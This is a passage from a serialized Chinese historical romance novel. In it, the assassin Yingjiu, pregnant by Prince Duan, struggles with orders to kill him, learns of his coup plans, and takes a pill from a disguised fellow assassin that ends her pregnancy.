李京熠心头一软,忍不住抬手轻抚她的脸颊,指尖缓缓划过她泛红的眼尾,嘴角勾起一抹温润的笑意,“你我夫妻一体,照顾你,本就是我分内之事。”
“你!”影九往后缩了缩身子,还来不及生气,便突然想起那把藏在袖间的匕首,于是赶忙问:“匕首呢?把匕首还给我!”
那是离开影阁时,柳文星送给她的。
他虽并未明说用这把匕首做什么,但影九打算用这把匕首杀端王。
那也是她身上唯一的武器。
“你在这军营之中,有我护着,绝不会有任何危险,要那匕首做什么?”李京熠明知故问,一副很是疑惑的模样。
影九皱眉瞪着他,心里很是慌乱。
看来,端王是看出了她的意图,所以才故意不将匕首还给她。
她被逼问得心虚不已,随口扯谎道:“那匕首是故人所赠,于我而言,十分重要。”
闻言,李京熠狭长的眸子微微眯起,目光如冰刃般刺向她,声音骤然冰冷,尾音上扬,透着彻骨的寒意,“哦?”
这声音寒冷彻骨,影九怯生生地抬眸,视线与他相触的刹那,又如受惊的小兽般飞快躲闪,整个人被吓得支支吾吾道:“我……我留着做个念想……你……你快还我。”
“谁送的?”
李京熠眸色一沉。他知道影阁副阁主柳文星对影九有些偏爱,想必她这次回到影阁,定是与那位副阁主有过交集。
那匕首做工精巧,绝非凡品。
很有可能,便是那位副阁主所赠。
“不……不用你管……”影九没敢抬眼看他,自然没有瞧见他已经阴沉的不得了的脸色,仍在无知无觉地火上浇油,“总之,你还给我就是。”
偏偏李京熠铁了心不还,反倒故意逗她,“若我说,我不还呢?”
“你为何不肯归还?那是我的东西。”影九皱眉瞪着他,竟没想到端王是一个这般不讲理的人。
“你告诉我,那匕首是谁送的?这些时日,你在影阁之中,发生了何事?”李京熠步步紧逼,语气中透着不容置疑的威压。
影九被逼问得心烦意乱,脱口而出,“可我说了,不关你的事!”
“什么你啊我啊的,你我是夫妻,本该不分彼此。”李京熠逼近她,骇人的压迫感将她死死笼罩住,“从前是这样,现在更该如此。”
影九已被逼至床角,退无可退,只得愤怒地别开脸去,咬牙切齿,“你这人真是蛮不讲理!”
李京熠偏不让她避开自己的视线,修长的手指勾起她的下巴,迫使她抬起头,与她四目相对,将她极力想要隐藏的情绪一寸一寸地引诱出来。
他的气息近在咫尺,实在太过灼人,影九躲避不开,只能眨着那双水光潋滟的眸子,直勾勾地望着他,眼中映出他放大的俊脸。
“小九,你这样的眼神,任何一个男人见了,都会把持不住。”李京熠笑着贴近她耳边,一字一句地说道。
滚烫的气息喷洒在她敏感的颈间,激起一阵细密的战栗,顺着脊背蔓延至全身。
她的身体竟对端王如此熟悉,仅仅是一缕灼热的气息,便如电流穿过,敏感得不行,连指尖都微微蜷缩起来。
这样的反应实在太过羞耻,她想要去推开他,却反被他一把扣住纤细的手腕,紧接着,轻而易举地压倒在身下。
本就身子虚弱疲惫的她,压根无力将他推开,更何况她有孕在身,她猜测端王也不会对她做过分的事情。
可这个念头才一冒出来,她便知道她猜错了。
李京熠的手钳住她的下颌,迫使她张开嘴,还不等她做好准备,便蛮横地侵入进去。
属于李京熠的气息瞬间将她彻底包围,他肆无忌惮地在她的口中横冲直撞,动作粗鲁,毫无温柔可言。
影九试图屈起膝盖去抵住他逐渐压得更近的身体,可李京熠的力气很大,根本不会让她有一丝挣扎的可能。
“呜……”羞愤与屈辱在胸腔中翻涌,影九从喉咙深处挤出一声痛苦的呜咽,那声音还未飘出唇齿,便被尽数封堵在喉间,化作破碎的喘息。
双手被死死禁锢在头顶,麻木得失去了知觉,连疼痛都变得奢侈。
她脑海中一片混沌,思绪如乱麻,只能本能地微张着唇,任由李京熠寸寸逼近,耳边回荡着令人面红耳赤的水渍声,将她的理智一点点吞噬。
意识昏沉间,她甚至忘了该如何呼吸,直到李京熠稍稍松开她,那窒息的压迫感稍退,她才猛地回神,大口大口地喘息着,胸口剧烈起伏。
她红肿的唇瓣上沾着晶莹的水光,像是裹了一层甜滋滋的蜜,诱人极了。若非李京熠察觉到她的呼吸微弱,几近窒息,李京熠恐怕仍不会松手,只想将她彻底揉碎的怀中。
“小九……”他嗓音沙哑,带着未褪去的情欲,低沉得犹如暗夜中的呢喃。那双深邃的眸子紧紧锁住身下的她,眼底翻涌着难以掩饰的动情与占有,“我的心意,你可明白?”
良久,影九才缓过劲儿来,那双漂亮的眼睛里,像是蒙上了一层迷离缭绕的水雾,只看一眼,便足以将人的魂给勾了去。
她费力地聚焦视线,缓缓落在眼前这张近在咫尺的脸上。
怪不得自己会愿意怀上端王的孩子,若是抛开他这张俊朗得让人沉沦的脸之外,他的品行,他的城府,还真是没有一样能吸引到她。
可即便如此,即便此刻被他这样温柔又强势地对待,她心中的杀意却未曾消减分毫。
她必须杀他。
这是她无法逃脱的宿命,也是她身为影阁之人的使命。
“我不明白。”影九别开脸,避开他灼热的目光,却恰好露出脖颈上那一片羞怯的粉红,
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连着锁骨一片,都十分诱人,“我也不想去明白。”
李京熠眸色微暗,抬手用指尖轻轻划过她的颈侧,感受到她身上阵阵战栗。他俯下身,一口咬住她的耳垂,牙尖若有似无地轻轻划过她柔软的肌肤,带着几分惩罚的意味,“小九,你的身子,可比你这张嘴诚实多了。”
闻言,影九心头一惊,生怕他再进一步,慌乱地一把抓住他要往她腰间探去的手,惊恐道:“我有孕在身,你不能……”
“不能什么?”李京熠明知故问,语气里带着一丝戏谑。
影九羞愤交加,咬牙切齿地瞪着他,却不出半个字。
李京熠把手抽回,顺势揽住她的腰,将紧紧贴向自己滚烫的身躯,压低嗓音,声音沙哑而危险,“小九,回答我,不能什么?”
他分明是故意的,影九恼羞成怒,用力推拒他坚实的胸膛,骂道:“你无耻!”
“我怎么就无耻了?”李京熠用鼻尖轻蹭她的脖颈,轻笑了一声,气息拂过她的肌肤,“小九的脸皮还是这么薄,都是快要做娘的人了。”
这句话如同一盆冷水,瞬间浇灭了影九心中的羞愤。
她浑身一僵,忘记了挣扎。
腹中的孩子尚不足三个月,要想见到这个孩子,还要等待一段漫长的时日。
可是等到那时候,孩子的父亲还活着吗?
亦或者,她还活着吗?
这个孩子,会平安生下来吗?
回想起阁主对她说过的那些话,似乎并没有任何指示,准许她将这个孩子生下。
这个可怖的念头在她的脑海中一闪而过,竟让她止不住地浑身一抖。
她的任何情绪,都难逃李京熠的法眼,更何况,她脸上的惊恐与忧愁太明显,李京熠自然不会视而不见。
“怎么了?”他轻声问到,像是怕吓着她。
影九抬眸看他,眼底闪过一丝心虚,强装镇定,“没怎么。”
“当真?”李京熠追问。
影九再也无法忍受这般压迫,一把推开他,挣扎着起身,手忙脚乱地整理着凌乱的寝衣,随口扯了个谎,“我有些饿了,想吃点儿东西。”
话音未落,李京熠已从身后抱住她纤细的腰身,亲昵地蹭她的脸颊,声音里带着一丝餍足后的慵懒,“早膳已经备下了,我与你一同用膳。”
“嗯。”影九有些心不在焉,应了一声之后,预备去穿鞋袜,这才惊觉床边摆放的衣物都是新的,不是她昨日穿的那一身。
李京熠见她盯着鞋袜愣神,一边温和地解释,一边竟半蹲下身,亲自为她穿上鞋袜,“你的那身衣裳太过破旧,不适合你。这是我昨夜特意吩咐人去城内挑选的,你可喜欢?”
谈不上喜欢或不喜欢,总之,她如今也没有心思在意这些。
他为她穿上鞋袜,动作之娴熟,影九还以为金尊玉贵的端王就爱干这伺候人的活。
谁知李京熠抬眸一看她神色,便仿佛洞悉了她心中所想,唇角勾起一抹温柔的笑意,轻声道:“小九,除你之外,我从未对任何女子有如此耐心。”
47. 第47章
影九不知这话是不是李京熠哄骗她的,也无闲心去深究,只是唇边勾起了一抹淡淡的笑意,算作回应。
见她这副敷衍又疏离的神态,李京熠的眉头微蹙。
看来,这些时日在影阁中发生的事,他必须要查个水落石出。
“小九,你既已回到我身边,那些令你忧心的事,便不必再想。”他语气温和轻缓,试图安抚。
影九垂眸看他,但目光只是轻触到他,便飞快移开。
头很疼,与他待在一起的每一刻,头都疼得很。
她无措地张了张口,似乎是想说些什么,但要说的话一下子堵在嘴边,终究未能说出半个字。
既然人已回到他身边,李京熠也并不急着问她些什么。方才问了两句,见她刻意瞒着,李京熠也就不再逼问她了。
梳洗过后,他们二人一同用早膳。
军营不比王府里,吃穿用度自然是简陋许多。更何况,军营之中都是男子,平日里也没那么多讲究。
但李京熠可以将就,他不愿让影九遭这份罪。一早便吩咐人去城内采买女子所需物品,还特意嘱咐,必须要最好的。
看着他们一箱一箱往营帐里搬东西,影九的眼中闪过一丝好奇,咽下口中的食物后,忍不住问:“这是什么?”
李京熠淡淡一笑,语气中透着不容置疑的宠溺,“也没什么,就是为你添置一些日常能用到的东西罢了。军营之中物资匮乏,比不得王府。我便照着从前你用惯了的东西,让人送了些过来。”
话音落下,影九侧过头,目光落在他脸上。
这是他的计策吗?
虚情假意地备下这些东西,说些温存好听的话,好让她放松警惕,就此放弃杀他的计划?
可无论端王为她做任何事,她都不会再动心。
她先是影阁的杀手,而后才是端王妃。
阁主的命令,她没有忤逆的余地。
无论这个任务成了或是败了,她都难逃一死。
“小九。”李京熠忽然抓住她的手,细细摩挲着她的手背,柔声问道:“不喜欢吗?”
影九垂眸扫了一眼面前那五个沉甸甸的大箱子,神情淡淡的,看不出半分喜怒,缓缓开口道:“何必买这么多?我们会在这儿待很久吗?”
此话一出,倒是让李京熠顿时提高了几分警惕,摩挲她手背的动作也随即停下,冷声问道:“你想去哪儿?”
“没想去哪儿,就随口一问罢了。”影九回答得轻描淡写,随后将手抽回,眉头很轻地皱了一下。
“小九,你好不容易重新回到我身边,我希望你再也不会离开我。”这句话像提醒,又像是祈求。
影九一愣,还以为自己听错了。
当她抬眸看向端王时,竟真的瞥见他眼角掠过的那一抹忧伤。
那一抹忧伤藏得极深,仿佛怕被人窥见,影九刚想细看,便又很快在他的眼底消散不见。
影九愣了愣,猜想一定是自己看错了。
她只不过是一个杀手而已,又怎会得到端王的倾心?
说不定,这全都是端王的计策。
从前的自己,一定就是这样被他哄骗的。
影九继续用着早膳,对他的这句话并未作出任何反应,眉眼间也并无半分波澜。
李京熠知道她听得清清楚楚,正是这份全然的漠然,让他心头微沉。
看来,在影阁的那段日子,她已发生了脱胎换骨的剧变。
不过,这其中的详细原委,他很快就能知晓了。
前几日,他刻意将影七从王府中放出,今晨得到飞鸽传书,影六已悄然抵达北苍城前去营救,只要借机逼问影六,这一切原委,便都明了。
影九的胃口其实不怎么好,但一想到腹中的孩子,便因此多吃了些。
吃的差不多了,她放下筷子,欲起身出去透透气。
与端王多待一刻,头便疼得愈发厉害,仿佛要撕裂一般。
可她才一动,李京熠便一把扣住她的手腕,警觉道:“去哪儿?”
“想出去走走。”影九神色淡淡,不动声色地挣脱开。
“军营之中,都是些五大三粗的莽夫,怕撞着你,还是待在营帐之中稳妥。”
闻言,影九将营帐内环视一圈,不可思议道:“你的意思是,我不能踏出这营帐半步?你这是打算囚禁我?”
“怎么会?”李京熠的脸上依然保持着温和的笑意,眼底却是一片幽深难测,“你身子虚弱,待到大夫来诊过脉后,确认你身子无碍,再做决定也不迟。”
“大夫什么时候来?”影九追问。
若是让她一直闷在这营帐之中,那是万万不可能的,除非端王出去。
更何况,匕首被他拿了去,影九不得不找其他东西防身,以备不时之需。
速战速决是好,但她还要寻到一个下手的机会。
否则这个任务,她不确定自己会拖到何时?
可就算事情真的如她所愿,但在这戒备森严的军营之中,杀了端王之后要想全身而退,谈何容易?
想到这里,影九的心猛地一沉,像是被一只无形的手攥住,后背不禁渗出一阵薄汗。
既然阁主知晓端王在军营,又为何偏要派她到这龙潭虎穴来刺杀?
往深处一想,难道阁主从一开始就没打算让她活着回影阁?所以,才说出让她“自行了断”那样绝情的话?
无论成败,她终究都是死路一条。
“小九?”
察觉到她脸色骤然变得苍白,李京熠走近两步,轻声问:“怎么了?脸色这般难看。”
影九下意识侧过身去,随后又走开两步,声音有些发抖,“你离我远一些。”
李京熠见她眉头紧蹙,以为她是在闹脾气。眼下她有孕在身,他猜想她的脾气可能是大些,于是依旧耐着性子哄道:“好了,我离你远些就是。你在营帐内安心歇息,待会儿大夫来了,好好让大夫诊脉。”说完,他抬脚出去。
他的语气实在温柔,影九实在不忍对他生气。
可她心绪不宁,除了头疼之外,更因方才脑海之中一闪而过的那个可怕的念头。
她注定是一枚被丢弃的死棋。
营帐之内恢复平静,影九无力地在凳子上坐下。
静坐片刻,她强撑着起身,走向那几个大箱子前,一一打开。
箱子里堆满了各色的衣裳首饰、稀奇玩意儿,还有干果蜜饯和一些话本,倒是能打发时间。
可影九的目光一寸一寸地扫过,最终轻叹了口气。
这里头,没有
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一件能伤人的利器。
犹豫片刻,她拿起一支簪子,细长的尖端足够锋利,只要她用力刺进端王的胸口,便有把握将端王杀死。
除此之外,这箱子里连一把剪刀也没有。
看来,端王确实是在堤防她。
营帐内,影九枯坐良久,时间仿佛被拉得绵长。
约莫过了半个时辰,帐帘终于被掀开,大夫的身影出现在门口。
紧接着,李京熠也走了进来。
他面上带着一丝挥之不去的疲惫,像是刚刚处理完棘手的军务,又像是被这沉闷的局势耗尽了心神。
影九垂下眼帘,并未多言,只在一旁默默坐下。
随行而来的是一位年迈的老大夫,由一位年轻的男子小心翼翼地搀扶着,缓缓落座。
年轻男子放下随身背着的药箱,动作恭敬地向影九行了一礼。
影九刚要伸手,那年轻男子便极有眼色地将脉枕垫在了她的手腕之下。
老大夫伸出枯瘦的手指,搭上她的脉门。
营帐之内,安静得只能听见彼此的呼吸声。片刻后,老大夫眉头紧锁,收回手时,缓缓摇了摇头,神色凝重。
年轻男子见状,眉头也跟着微微蹙起,目光在影九与端王之间流转,似在衡量着什么。
他这一沉默,反倒让影九的心悬到了嗓子眼。
她下意识地屏住呼吸,正欲开口询问,余光却瞥见端王。他面上虽还维持着从容,可身侧紧握的拳头却暴露了内心的波澜,指节泛白,竟比她这个当事人还要紧张几分。
“夫人。”年轻男子终于开口,向她行了一礼,声音沉稳而清晰,“腹中孩儿无碍,只是母体气血亏虚,需得好好调养,多多进补才是。”
短短一句话,如定心丸般抚平了影九心中的不安。她下意识地抚上小腹,指尖微微颤抖,悬着的心终于落回实处。
老大夫听罢,摸着雪白的胡须缓缓点头,随后又再一次看向年轻男子。
“我师父的意思是,夫人腹中胎儿还不满三个月,正是关键时期,还望夫人切莫忧思伤身,若想保腹中胎儿无虞,需得静心安胎。”年轻男子语气郑重道。
影九的目光在师徒二人脸上缓缓扫过,声音微颤,终于问出了心底最深的恐惧,“我体内的余毒,可都清了?”
闻言,老大夫的眉头皱了一下。
那细微的动作虽转瞬即逝,却没能逃过影九敏锐的眼睛。
一旁的李京熠,早在他们来之前便已千叮万嘱,命这师徒二人务必守口如瓶。此刻见影九追问,他立刻上前一步,挡在了老大夫身前,语气故作轻松地打断道:“小九,既然大夫说你无碍,便听大夫所言,静心安胎便是。”
说着,他侧身转向那一老一少,脸上换上一副不容置疑的神情:“我送二位出去。”
这情形,很明显是故意支开她。
影九起身,欲上前去问个究竟。
然而,待走到门口时,李京熠突然回头看了她一眼。那眼神冰冷锐利,带着无声的警告。
影九脚步一顿,只好作罢。
就算不与她说实话,难道她自己的身子,她当真不清楚吗?
最坏的结果,那便是一尸两命。
可在这之前,她必须要杀了端王才行。
48. 第48章
寂静的营帐内,影九焦躁不安。
正当这样的情绪四处奔走时,方才一同出去的那位年轻男子背着药箱突然掀开帐帘进来了。
见他去而复返,影九心头一紧,猜测他是有隐情相告,未等他开口,便急声问道:“大夫,你可愿告诉我实情?”
年轻男子并未回避,郑重地点了点头,神色肃然,“夫人,我作为大夫,本不该对患者有所隐瞒……那有些话,我就直说了。”
影九攥紧了掌心,郑重地点头。
“您腹中的孩儿……怕是要保不住了。”
此话一出,影九听着倒是并不觉得有多意外,只是,难免心痛。
先前在影阁时,影六曾信誓旦旦地对她说,孩子无碍,她那时竟信了。
可随着时日推移,身体日渐沉重,那份不安如影随形,愈发浓烈。
这个孩子的去留,是她一直纠结万分的事。
如今听到这个定论,反倒像是松了口气。
这个残酷的结果,倒像是在催促她不得不对端王动手。
“夫人,您还好吗?”
影九深吸一口气,压下眼底的酸涩,问:“大夫,您贵姓?”
“在下姓康,单名一个德。”
“康大夫,您能为我备下一副堕胎药吗?”
康德从一进入营帐起,便见她满脸忧愁。有孕在身之人若终日忧思,本就伤身。此刻见她主动求药,心中了然。
由此可见,她对腹中孩儿,并无丝毫眷恋。
“夫人想自己决定这个孩子何时消失?”
影九决绝地点头,“这个孩子的存在,并不全叫人欢喜。就算我拼死生下来,他的日子,一定也会过得十分艰难。”
端王在意这个孩子,对这个孩子的存在也感到十分欢喜。
但,唯有他一人高兴。
这个孩子的存在,绊住了影九前行的脚步。
“好,下次问诊时,我会带来。”康德一口答应。
他答应得十分爽快,反倒让影九稍微有些震惊,“你为何愿意帮我?”
康德神色坦然,直言不讳,“我见夫人眉宇间忧思深重,况且师父方才诊脉,也发现您体内余毒未清。这个孩子,是无论如何都生不下来的。”
“那此事,端王可知晓?”影九追问道。
康德犹豫过后,点了点头,“师父已向端王如实相告。我借故折返这营帐,才能与夫人说这些话。”
“多谢。”影九的语气中有一丝复杂的情绪。
康德向她行了一礼,恭敬道:“夫人,告辞。”说完,转身离去。
影九缓缓坐回椅子上,她现在脑袋里很乱。
若是端王知道这个孩子一定保不住,是否会先一步对她痛下杀手?
这个猜测不是没有可能。
她只是一个杀手罢了,有何理由让堂堂端王对她倾心?
既如此,趁着端王在未动手之前,影九要想办法喝下堕胎药,在端王伤心至极之时,便是一个动手的好机会。
这个方法伤敌一千自损八百,但唯有这样,才是一个一举两得之法。
影九在营帐内枯坐良久,终于按捺不住,起身欲外出看看。然而,还不等她踏出营帐半步,门外的守卫已横枪拦路。
看来,没有得到端王的准许,她是出不去了。
-
直到天黑,晚膳时分,影九才见到端王。
他风尘仆仆,衣角上还沾着尘土,像是刚从哪儿回来。
影九放下手中的话本,疾步走到他面前,语气中带着一丝压抑的质问,“大夫已为我诊过脉,且说我无碍,为何你还不愿放我出去?”
李京熠净过手,随手撂下帕子,深邃的眸子看向她,语气中尽是威严,“军营重地,非同儿戏,你自然是待在营帐内更为安全。”
“借口!”影九下意识退后半步,极力压制心里的怒气,“你以为困住我,我就……”话到嘴边,影九却说不下去了。
她是一定要杀他的,但端王是怎么想的呢?
将她关在这里,真的是为了她好吗?
还是说,真的只是借口罢了?
更何况,她如今不该与端王争吵,这会让端王动怒。
一旦动怒,自己还如何接近他,去杀他?
她该沉住气,放低姿态才对。
“小九?”她欲言又止,李京熠猜测她是有话没说完,语气微沉,“有话直说。”
影九背过身去,生生将到了嘴边的话咽下,“没什么,我只是觉得,这营帐里太闷,我想出去走走。可你不允,我有些生气。”
李京熠轻笑一声,忽然从背后将她拥入怀中,宽大的手掌覆在她的小腹上,柔声哄道:“再忍一忍,等时机成熟,我们便能回到北苍城去了。”
闻言,影九有些惊讶,“岩州战事,平息了?”
“岩州本就无战事。”他将下巴轻轻搁在影九的颈窝,温热的气息拂过她耳畔,“我自然是想何时回,便何时回。”
“可陛下无召,你怎敢擅自回去?”
李京熠并未松开她,反而收紧了手臂,细细感受她脉搏的跳动,低笑中带着一丝冷意,缓缓开口道:“他的皇位,本就是我让来的。如今却想要赶尽杀绝,那我便只能……先下手为强了。”
“轰”的一声,好像有什么东西在影九的脑海中炸开来。
她吓得浑身一抖,想从他的怀里挣扎出来,可腰上那双手很用力,她挣扎不开分毫。
“你……你要造反?”
“小九,这话可别轻易说出口。”李京熠在她的耳后落下一吻,声音温柔,低声说道:“我也就只告诉你一个,你并非军中之人,知道得越多,便越危险。”
“可若是此事不成,我也会死!”
李京熠笑出声来,高挺的鼻尖轻轻蹭着她的脸颊,“所以小九,是希望我此事能成?”
影九别开脸去,避开他的亲昵,声音微颤,“你想当皇帝?”
“当皇帝多无趣……”李京熠忽然扣住她的双肩,让她直视自己,“若是我坐上那高位,你可愿意当我的皇后?”
他脸上的神色是前所未有的认真,影九居然寻不到一丝开玩笑的意味
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。她狠狠皱着眉头,压低声音道:“我不想当皇后,你想当皇帝,你自己去做便是!”
“东宫有太子,我自然是当不了皇帝的。”
“太子?”影九一怔,皱眉思索,随后仿佛猜到他的心思,惊讶道:“可太子才三岁,你是想……”
“嘘!”李京熠做了个噤声的动作,嘴角却隐隐勾起一抹笑意,欣慰道:“小九果然最了解我。”
影九不可置信地后退两步,差点一个踉跄没站稳,好不容易扶住桌沿站稳身子后,抬头望向他,苍白的嘴唇喃喃道:“你疯了……你真的疯了……”
皇帝尚在壮年,端王有何理由让皇帝退位?
难道,他会带兵一路直逼那高位,弑君篡位?
可一旦事败,便是万劫不复,死无葬身之地。
“小九,所以在回北苍城之前,你一定要待在营帐内,不能出去半步,听明白了吗?”
影九没有任何动作,像是被吓到,过了好半晌,手都还在发抖。
李京熠拉住她的手腕,语气柔和了些,“先用膳吧。”
听到这样的惊天大秘密,影九还如何吃得下?
她在想,此事是否要禀报阁主?
可她身在军营之中,连走出营帐都是奢侈,又如何去向阁主传信?
这一切事,都像是在逼着她尽快动手,与她原先的计划完全不一样。
时机转瞬即逝,不能再等。
影九默默地坐到桌子边,刚拿起筷子,还未伸出手去夹菜,一碗热气腾腾的鸡汤便已端到她面前。
“这鸡汤是你爱喝的,趁热多喝些。”
望着那碗汤,影九一时怔住,直到片刻后才勉强压下心头波澜,恢复了表面的平静。
这一顿饭,她未发一言。安静地喝着鸡汤,却尝不出半点滋味。
“对了,今日康大夫折返回营帐时,他可有与你说什么?”
冷不丁提到康大夫,影九心里一惊,莫不是康德与她说的那些话,被他知晓了?
她强装镇定,“没说什么。”
“他要来为你连续看诊三日的事,没与你提过?”
影九放下手里的汤匙,抬眸看他,不动声色地点头道:“康大夫说我身子虚弱,要为我看诊三日,我倒是忘了。”话音落下,她的嘴角牵起一个弧度,不自然地笑了笑。
李京熠轻笑一声,似是附和,眼底却并无笑意,“小九的记性,近来是越来越差了”
“头总是疼,难免会忘掉一些事。”她垂下眼帘,避开他探究的目光。
话音一落,一只温热的大手覆上她的手背,掌心的薄茧带着不容抗拒的力度,“既然头疼,就不必想太多。”
看来,端王并不知晓她头痛的原因。
可她头疼的根本,不正是因为近在眼前之人吗?
在影阁时,阁主抹去了她的一段记忆。可自从遇见李京熠,那些被封印的记忆便如潮水般日夜冲击着她的脑海。
可总有一只无形的大手死死按压着,不让她窥见真相。
每一次挣扎回想,都换来撕裂般的剧痛。
49. 第49章
昨夜临睡前,影九服下了一碗安神汤药。
这一夜,她睡得额外舒坦,并未因睡在身侧的端王而头痛不已。
用过早膳后,康德便背着药箱来了。影九还在猜想他今日何时会来,拿上话本翻看了不过两页,外头便有人通传。
影九立刻让他进来,恰好此时端王不在,她也能问康德要她想要的东西。
“康大夫。”影九疾步走到他面前,神色有些迫切。
康德不紧不慢地放下药箱,随后从里头拿出脉枕,“夫人,我先为您把脉。”
影九压下心头的急切,转身在一旁坐下,在开口之前,朝帐帘外瞧了一眼,压低声音问道:“康大夫,东西带来了吗?”
康德缓缓落座,平静地点头,随后指尖搭上影九的手腕,不过一会儿,便忽地松开,“夫人,您体内有一味极其厉害的毒药,随着日子推移,恐怕会伤及您的性命。”
“我时常头痛的原因,便是那毒药造成的?”
康德坦诚地点头,紧接着,从药箱里拿出一个小瓷瓶药递给她,“夫人服下这药,便能达成所愿。”
一个小小的青色瓷瓶递到她面前,影九犹豫着伸出手接过,疑惑道:“这就是我想要的东西?”
康德点头,神色凝重,“这药的药效会比堕胎药还快些,夫人慎重斟酌之后再用。”
影九将药瓶攥在手里,还是忍不住问出心中疑惑:“我是否已到了药石无医的地步?”
“夫人既求问心切,我也不再隐瞒。”说着,康德的神色突然变得阴冷可怖起来,“夫人若是还这般畏首畏尾,那才真的是神仙难救。”
那阴冷的嗓音猛地钻入她耳中,吓得影九立刻呆愣住,瞳孔骤缩,“你……”
康德指了指她手中的药瓶,“你若是不想自己吃这药,便下在端王的饮食中。反正阁主的意思是,你与他,只能活一个。”
“你……”影九好半天没缓过神来,眼睛在他身上搜索,像是要确认什么,“你也是影阁中人?”
“影十八,奉阁主之命,来助你完成这次任务。”康德的嘴角勾起一抹狰狞的冷笑,眼中杀意尽显,“夫人最好尽快动手,我猜想这几日,端王预备回北苍城了,绝对不能让他活着回去。”
影九的手心在冒汗,她攥紧手里的药瓶,陷入两难的境地。
“原来,阁主从未信任我?”
“你是个变数。”康德直言不讳,声音冰冷,“眼下不是你我争论的时候,你必须尽快有所行动。无论是你想让这个孩子消失也好,或是让端王消失,你必须尽快做出抉择。”
“为何如此急切?”影九还想再挣扎一下,也想探一探阁主那边的口风,“回到北苍城,我依然有机会杀他。”
“你确定?”康德冷声反问道。
这个问题哽地影九心虚,她镇定神色,“自然。”
“莫不是,你对端王动了情?”康德目光如炬,逼视着她的双眼。
“绝无可能!”影九下意识否认,可心底那一丝莫名的心虚却在逐渐蔓延。
她接近端王,本就是为了取他性命,又怎会对他动情呢?
康德冷笑,凌厉审视的目光在她身上打转,显然是不信她的。但阁主的命令,他不敢违抗,只阴恻恻地提醒道:“三日之内,若是端王暴毙的消息没有传出军营,我便会来助你一臂之力。顺便,了结你的性命。”
影九死死咬住嘴唇,直至尝到一丝腥咸。她盯着掌心那枚小小的药瓶,内心如沸水翻腾,矛盾几乎将她撕裂。
“我不会让阁主失望,更轮不到你动手。”她声音沙哑,有些无力。
“最好是这样。”说完自己该说的,康德不紧不慢地收拾着药箱,“记住,于影阁而言,折损你一枚弃子无关紧要。但在你命丧黄泉之前,端王,必须死。”
话音落下,他转身离去。
影九呆呆地站在原地,望着手中的药瓶,心中已无法作出抉择。
她在被人推着往前走,即使她不想走上这条路。然而,她没有选择,她必须往前走,没有回头路。
倘若端王死了,她孤身一人,难道能保得住这个孩子一世平安?
她保不住。
她连自己的性命都保不住,又怎能保得住这个孩子?
内心挣扎良久,影九颤抖地从瓶中倒出一颗药,决绝地服下。
药性猛烈,来势汹汹。
不过片刻,剧痛便如毒蛇般在腹中肆虐,瞬间吞噬了她所有的力气。
豆大的冷汗从她苍白的额头上滚落,她痛得蜷缩在地,脸色惨白如纸,连痛苦的呼喊都发不出。
帐帘被猛地掀开,李京熠大步跨入,眼前的一幕让他瞳孔骤缩。他三步并作两步冲过去,一把将她抱起,声音里满是惊慌,“小九!怎么了?”
影九靠在他怀里,冰凉的手死死扣住他的手腕,毫无血色的双唇紧闭,已发不出一个字。
李京熠心如刀绞,他早知会有这一天,却未料到会来得如此猝不及防。
他用力回握住她的手,脸上交织着前所未有的焦急与心痛。看着怀中人紧闭的双眼,他眼底的心痛迅速被一片猩红覆盖,一字一句,皆是从牙关里生生挤出,“你就那么不想生下我们的孩子?”
影九身下的衣衫已被鲜血浸透,浓重的血腥味钻入鼻腔,很不好闻。
影九绝望地闭上眼睛,挣扎着想推开他。
李京熠的腮帮子在隐隐发抖,因为极力压制着胸腔中的怒火。
那一抹鲜红,刺激着他的双眼,李京熠将她打横抱起,冲营帐外嘶吼道:“叫大夫!快!”
这简短的四个字里,满满都是怒火。
影九想捂住耳朵,隔绝掉这世间的喧嚣,可眼泪却悄无声息地从脸颊滑落。她张了张干涩苍白的嘴唇,似乎想说些什么。
可是干涩嘶哑的喉咙里,发不出一个字。
道歉也好,诀别也罢,终究淹没在无边的痛楚里。
这不正是自己想要的结果吗?
为何事到如今,要因他生气,而向他道歉?
这个孩子本就不能出生,这是早已注定好的事情。
李京熠将影九放在床榻之上,双手已被鲜血染得猩红,可他浑然不觉。
那双赤红的眸子里,翻涌着滔天的杀气,仿佛要将眼前之人碎尸万段。他咬着牙,声音里带着彻骨的寒意,“影九,我会让你付出代价。”
整个人已被冷汗浸湿的影九,已无力抬眸去看他。她虚弱地别开脸去,不敢去看那双满是怒火的眼睛。
剧痛很快将她的意识彻底吞噬,她无声地晕了过去。
-
再次睁开眼,天还是亮的。
想来,她并没有晕死过去多久。
李京熠坐在床前,目光如炬,死死地盯着她。
他浑身散发着阴冷可怖的气息,宛如从地狱爬上来索命的阎罗,周身散发出
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来的寒意几乎要冻结空气。
影九被他骇人的气势吓到,缓缓移开了停留在他身上的目光。
“你是否该给我一个解释?”李京熠举起那只小小的青色药瓶,指节因用力而泛白,“你真就那么狠心?”
影九沉默着,一言未发,身心疲惫的她连辩解的力气都没有。
“那也是你的孩子!”李京熠的声音陡然拔高,带着一丝不易让人察觉的颤抖,“你当真一点儿都不在意?”
影九攥紧掌心,指甲深深掐进掌心里,可她感觉不到一丝疼痛。
她垂着眸子,眼底一片死寂。
“我们以后,不会再有孩子了。”
“咯噔”一声,脑海中紧绷的那一根弦像是彻底断了。她木讷地转动眼睛,视线好半天才聚焦在眼前之人的那张脸上,企图从他紧绷的下颌线与阴沉的眉宇间寻到一丝开玩笑的痕迹。
可是没有。
他的脸上,交织着愤怒、凶狠与深不见底的伤心,唯独没有玩笑的影子。
她绝望地闭上眼睛。
尽管身为影阁杀手,她从未想过会有一个自己的孩子,可当她亲耳听到这个残酷的消息时,巨大的痛苦像是一记重锤,狠狠砸在她的心口,让她痛苦万分。
温热的泪水仿佛决了堤,从她的眼眶里争先恐后地涌出。
她无声地哭泣着,怨不得任何人。
这是她必须要承担的后果,她谁也怪不了。
“这就是你给我的答案吗?”
李京熠的声音低沉沙哑,隐忍着愤怒。
他知道她有苦衷,可是,更因她不信任自己而感到生气。
“小九,你可会后悔?”
影九背对着他,将所有的呜咽与颤抖都掩藏在单薄的脊背之后。她只能咬碎了牙往肚子里咽,更何况是在这个节骨眼上,她更不能表现出一丝一毫的软弱。
或许,让他彻底地恨自己,才是最好的解脱。
那样的话,当那只簪子刺进他的胸口时,她才能狠下心,不留余地。
速战速决。
这是最好的时机。
此刻,正是他悲痛欲绝之时,心防最弱,正是她动手的绝佳机会。
影九翻了个身,动作迟缓而僵硬,仿佛是在逃避那灼人的视线。
然而,她的手在枕头底下摸索,指尖触碰到那冰凉坚硬的簪子时,心猛地一沉。
